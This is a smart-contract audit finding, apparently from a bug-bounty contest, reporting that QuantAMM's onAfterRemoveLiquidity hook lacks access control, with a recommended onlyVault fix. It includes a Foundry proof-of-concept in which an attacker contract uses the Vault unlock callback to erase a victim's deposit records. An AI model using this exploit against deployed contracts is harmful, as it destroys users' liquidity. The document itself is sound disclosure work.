QuantAMM
QuantAMM
49,600 OP
View results
Previous Next
Submission Details
Severity: high
Valid

Critical: Malicious user can delete all Users Deposited Liquidity.

0xwsecteam

Summary

The onAfterRemoveLiquidity function in the UpliftOnlyExample.sol implementation does not include the onlyVault modifier, this allows any one to invoke the function under very specific conditions, an attacker can exploit this flaw to delete the FeeData array and remove users' bptAmount and tokenId.
This would leave users with a zero balance of BPT, rendering them unable to restore their liquidity.

Vulnerability Details

The onAfterRemoveLiquidity function is designed to be invoked exclusively by the Vault, the absence of the onlyVault modifier creates a vulnerability where any one can call this function.

onAfterRemoveLiquidity is critical function that is called from Vault after router calls unlock function in Vault and then the Vault passes the parameters like bytes memory userData which is the address of the user who wants to remove liquidity.

But since the onAfterRemoveLiquidity has no onlyVault and the unlock function in Vault must be unlocked the attacker can call it directly from his contract.

Attack Visualization:

[Attacker Contract] --> [Vault::unlock] --> (Callback) --> [Attacker Contract] --> [onAfterRemoveLiquidity]

Path of the Attack:

  1. Attacker Prepares the Exploit:

    • The attacker deploys a malicious contract with two functions:

      • callVaultUnlock: A function to invoke Vault.sol::unlock.

      • attackerUnlockCallback: A function designed to be called by the Vault during its callback process.

  2. Attacker Initiates the Exploit:

    • The attacker invokes Vault.sol::unlock via their malicious contract using the callVaultUnlock function.

  3. Vault Executes Callback:

    • The Vault.sol::unlock function completes part of its process and then executes a callback to the attacker's contract, invoking the attackerUnlockCallback function.

  4. Attacker Executes the Exploit:

    • During the callback phase, the attacker's contract maliciously invokes the onAfterRemoveLiquidity function in UpliftOnlyExample.sol.

  5. Impact:

    • As a result of the exploit:

      • Bob's Balancer Pool Tokens (BPT) or NFTs are all deleted.

      • Bob is left with zero balance, and his liquidity becomes irrecoverable.

PoC: Add this into https://github.com/Cyfrin/2024-12-quantamm/blob/main/pkg/pool-hooks/test/foundry/UpliftExample.t.sol

run: forge test --mt test_Delete_All_User_BPTs_Share -vvv

uint256 bptAmountDeposit = 10_000e18;
function test_Delete_All_User_BPTs_Share() public {
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
​
LPNFT lpNft = upliftOnlyRouter.lpNFT();
​
// Bob add liquidity 10_000e18 * 5
vm.startPrank(bob);
for(uint256 i; i < 5; i++) {
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmountDeposit, false, bytes(""));
skip(1 days);
}
vm.stopPrank();
​
// check bob has deposited 5 times.
UpliftOnlyExample.FeeData[] memory bobFeeData_BeforeAttack = upliftOnlyRouter.getUserPoolFeeData(pool, bob);
require(bobFeeData_BeforeAttack.length == 5);
​
// This is attacker contract.
bytes memory data = abi.encodeWithSignature("unlock(bytes)", abi.encodeWithSignature("attackerUnlockCallBack()"));
(bool ok,) = address(vault).call(data);
require(ok, "CallBack Failed!");
​
// Check that attacker deleted all Bob's FeeData array.
UpliftOnlyExample.FeeData[] memory bobFeeData_AfterAttack = upliftOnlyRouter.getUserPoolFeeData(pool, bob);
require(bobFeeData_AfterAttack.length == 0);
​
// check that removing liquidity will revert.
vm.startPrank(bob);
vm.expectRevert(
abi.encodeWithSelector(UpliftOnlyExample.WithdrawalByNonOwner.selector, bob, pool, bptAmountDeposit)
);
​
upliftOnlyRouter.removeLiquidityProportional(bptAmountDeposit, minAmountsOut, false, pool);
vm.stopPrank();
}
​
// This is call back function to be called from Vault::unlock.
function attackerUnlockCallBack() public {
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
​
// attacker calls onAfterRemoveLiquidity directly.
// and passes Bob's address as target.
upliftOnlyRouter.onAfterRemoveLiquidity(
address(upliftOnlyRouter),
pool,
RemoveLiquidityKind.PROPORTIONAL,
// * 5 because bob deposited bptAmountDeposit 5 times.
bptAmountDeposit * 5,
minAmountsOut,
minAmountsOut,
minAmountsOut,
// Attacker passes Bob's address.
abi.encodePacked(bob)
​
);
}

Impact

This vulnerability can lead to the following:

  • Malicious actors can call the function, simulating Vault behavior, and delete all users FeeData array which contains all information about BPT amount and tokenID.

  • Users loss their liquidity for ever.

Recommendations

  1. Implement the onlyVault Modifier Update the onAfterRemoveLiquidity function to include the onlyVault modifier:

function onAfterRemoveLiquidity(
address router,
address pool,
RemoveLiquidityKind kind,
uint256 bptAmountIn,
uint256[] memory userBalances,
uint256[] memory amountsOutRaw,
uint256[] memory amountsOutFinal,
bytes memory userData
) public override onlyVault returns(bool, uint256[] memory hookAdjustedAmountsOutRaw) {
//...
}
Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_onAfterRemoveLiquidity_no_access_control_wipe_all_data

Likelihood: High, anyone, anytime. Impact: High, Loss of funds

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.